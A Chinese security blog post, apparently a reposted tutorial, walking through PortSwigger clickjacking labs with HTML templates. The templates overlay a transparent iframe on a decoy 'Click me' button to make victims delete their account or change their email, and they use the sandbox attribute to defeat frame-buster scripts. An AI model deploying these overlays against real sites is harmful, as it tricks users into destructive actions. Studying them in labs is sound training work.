点击劫持攻击-攻击示例(上)

admin 2022年10月29日14:48:28评论45 views字数 3875阅读12分55秒阅读模式

在本节中,将解释什么是点击劫持,描述点击劫持攻击的常见示例,并讨论如何防范这些攻击。



如何构建基本的点击劫持攻击?

点击劫持攻击使用CSS创建和操作图层,攻击者将目标网站合并为覆盖在诱饵网站上的iframe层,使用样式标签和参数的示例如下:

点击劫持攻击-攻击示例(上)

目标网站iframe位于浏览器内,以便目标操作与使用适当宽度和高度位置值的诱饵网站精确重叠。无论屏幕大小、浏览器类型和平台如何,都使用绝对和相对位置值来确保目标网站准确地与诱饵重叠。

z-index确定iframe和网站层的堆叠顺序,不透明度值定义为0.0(或接近0.0),以便iframe内容对用户透明。浏览器点击劫持保护可能会应用基于阈值的iframe透明度检测(例如,Chrome版本76包含此行为,但Firefox没有)。攻击者选择不透明度值,以便在不触发保护行为的情况下达到预期效果。


场景试验-具有CSRF令牌保护的基本点击劫持:

https://portswigger.net/web-security/clickjacking/lab-basic-csrf-protected

场景说明:

这个试验场景包含登录功能和受CSRF令牌保护的删除账户按钮,用户将点击诱饵网站上显示"click"一词的元素。

试验目的:

要完成这个试验,需要制作一些HTML来框住账户页面并欺骗用户删除他们的账户。

场景提供了可供使用的账号wiener:peter

攻击过程:

用提供的账号进行登录,可以看到里面有"Delete account"的按钮

点击劫持攻击-攻击示例(上)

打开"exploit server",将下面代码复制到Body位置

<style>   iframe {      position:relative;      width:$width_value;      height: $height_value;      opacity: $opacity;      z-index: 2;   }   div {      position:absolute;      top:$top_value;      left:$side_value;      z-index: 1;   }</style><div>Click me</div><iframe src="$url"></iframe>

几处需要替换的地方:

$url替换成试验网页用户登录后URL

$height_value$side_value建议设置成700px500px

$top_value$side_value建议先设置成300px60px,后续可以再进行调整

$opacity在调试时可以设置为0.1,在攻击时设置为0.0001

点击劫持攻击-攻击示例(上)

点击"Store"后再点击"View exploit",看下"Click me"的位置是否可"Delete account"重叠,如果不重叠的话适当调整$top_value$side_value的值,最终使两者重叠在一起

点击劫持攻击-攻击示例(上)

点击劫持攻击-攻击示例(上)

修改下$opacity的值为0.0001,保存后点击"Deliver exploit to vicitim"即可完成试验。


试验小结:

虽然我们可以像试验场景中这样手动创建点击劫持,但在实际操作中是相当乏味且耗时的。当在野外测试点击劫持时,建议使用BurpClickbandit工具,这可以使用浏览器在可框架页面上执行所需的操作,然后创建一个包含合适的点击劫持覆盖的HTML文件。可以使用它在几秒内生成交互证明,而无需编写单行HTMLCSS



使用预填表单输入进行点击劫持

一些需要表单完成和提交的网站允许在提交之前使用GET参数预填充表单输入。

其他网站在提交表单之前可能需要文本,由于GET值构成URL的一部分,因此可以修改目标URL以包含攻击者选择的值,并且在诱饵站点上覆盖透明的“提交”按钮,就像在基本的点击接触示例中一样。


场景试验-使用从URL参数预填充的表单输入数据进行点击劫持:

https://portswigger.net/web-security/clickjacking/lab-prefilled-form-input

场景说明:

这个试验场景具有CSRF令牌保护的基本点击劫持。该试验场景的目标是通过使用URL参数预填充表单并诱使用户无意中单击"Update email"按钮来更改用户的电子邮件地址。

试验目的:

要完成这个试验,需要制作一些HTML来框住账户页面,并通过点击"Click me"诱饵来欺骗用户更新他们的电子邮件地址以完成试验。

场景提供了可供使用的账号wiener:peter

攻击过程:

用提供的账号进行登录,可以看到里面有"Update email"的按钮

点击劫持攻击-攻击示例(上)

打开"exploit server",将下面代码复制到Body位置

<style>   iframe {      position:relative;      width:$width_value;      height: $height_value;      opacity: $opacity;      z-index: 2;   }   div {      position:absolute;      top:$top_value;      left:$side_value;      z-index: 1;   }</style><div>Click me</div><iframe src="[email protected]"></iframe>

几处需要替换的地方:

$url替换成试验网页用户登录后URL,里面包含"Update email"按钮

$height_value$width_value建议设置成700px500px

$top_value$side_value建议先设置成400px80px,后续可以再进行调整

$opacity在调试时可以设置为0.1,在攻击时设置为0.0001

点击劫持攻击-攻击示例(上)

点击"Store"后再点击"View exploit",看下"Click me"的位置是否可"Delete account"重叠,如果不重叠的话适当调整$top_value$side_value的值,最终使两者重叠在一起

点击劫持攻击-攻击示例(上)

修改下$opacity的值为0.0001,保存后点击"Deliver exploit to vicitim"即可完成试验。



帧破坏脚本

只要网站可以被陷害,点击劫持攻击就可能发生。因此,预防性技术基于限制网站的框架能力。通过Web浏览器实施的常见客户端保护是使用帧破坏或帧中断脚本。

这些可以通过专有的浏览器JavaScript插件或NoScript等扩展来实现。

脚本通常经过精心设计,以便它们执行以下部分或全部行为:

●检查并强制当前应用程序窗口是主窗口或顶部窗口。

●使所有框架可见。

●防止点击不可见的框架。

●拦截并向用户标记潜在的点击劫持攻击。

帧破坏技术通常是特定于浏览器和平台的,并且由于HTML的灵活性,它们通常可以被攻击者规避。由于帧破坏器是JavaScript,因此浏览器的安全设置可能会阻止他们的操作,或者实际上浏览器甚至不可能不支持JavaScript。针对帧破坏者的有效攻击解决方法是使用HTML5 iframe沙箱属性。当使用allow-formsallow-scripts值设置它并且省略allow-top-navigation值时,可以中和frame buster脚本,因为iframe无法检查它是否是顶部窗口:

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>

allow-formsallow-scripts值都允许iframe中的指定操作,但禁用顶级导航。这会抑制框架破坏行为,同时允许目标站点内的功能。


场景试验-使用帧破坏脚本进行点击劫持:

https://portswigger.net/web-security/clickjacking/lab-frame-buster-script

场景说明:

这个试验场景受到框架破坏器的保护,可防止网站框架被破坏。

试验目的:

要完成这个试验,需要制作一些HTML来框住账户页面,并通过点击"Click me"诱饵来欺骗用户更新他们的电子邮件地址以完成试验。

场景提供了可供使用的账号wiener:peter

攻击过程:

用提供的账号进行登录,可以看到里面有"Update email"的按钮

点击劫持攻击-攻击示例(上)

打开"exploit server",将下面代码复制到Body位置

<style>   iframe {      position:relative;      width:$width_value;      height:$height_value;      opacity: $opacity;   z-index: 2;   }   div {      position:absolute;      top:$top_value;      left:$side_value;      z-index: 1;   }</style><div>Click me</div><iframe sandbox="allow-forms"src="[email protected]"></iframe>

后续步骤和上个试验一样,调整位置参数使"Click me""Update email"重叠,发送给受害者即可完成试验。



点击劫持攻击-攻击示例(上)


服务器端请求伪造(SSRF)-概念梳理

文件上传漏洞-概念梳理

访问控制和权限提升漏洞-概念梳理

信息泄露漏洞-概念梳理

业务逻辑漏洞-概念梳理

命令注入攻击(上)
目录遍历攻击(上)

身份验证漏洞-概念梳理

SQL注入攻击-检索隐藏的数据
HTTP Host头漏洞攻击-概念梳理


原文始发于微信公众号(H君网安白话):点击劫持攻击-攻击示例(上)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月29日14:48:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   点击劫持攻击-攻击示例(上)https://cn-sec.com/archives/1373760.html

发表评论

匿名网友 填写信息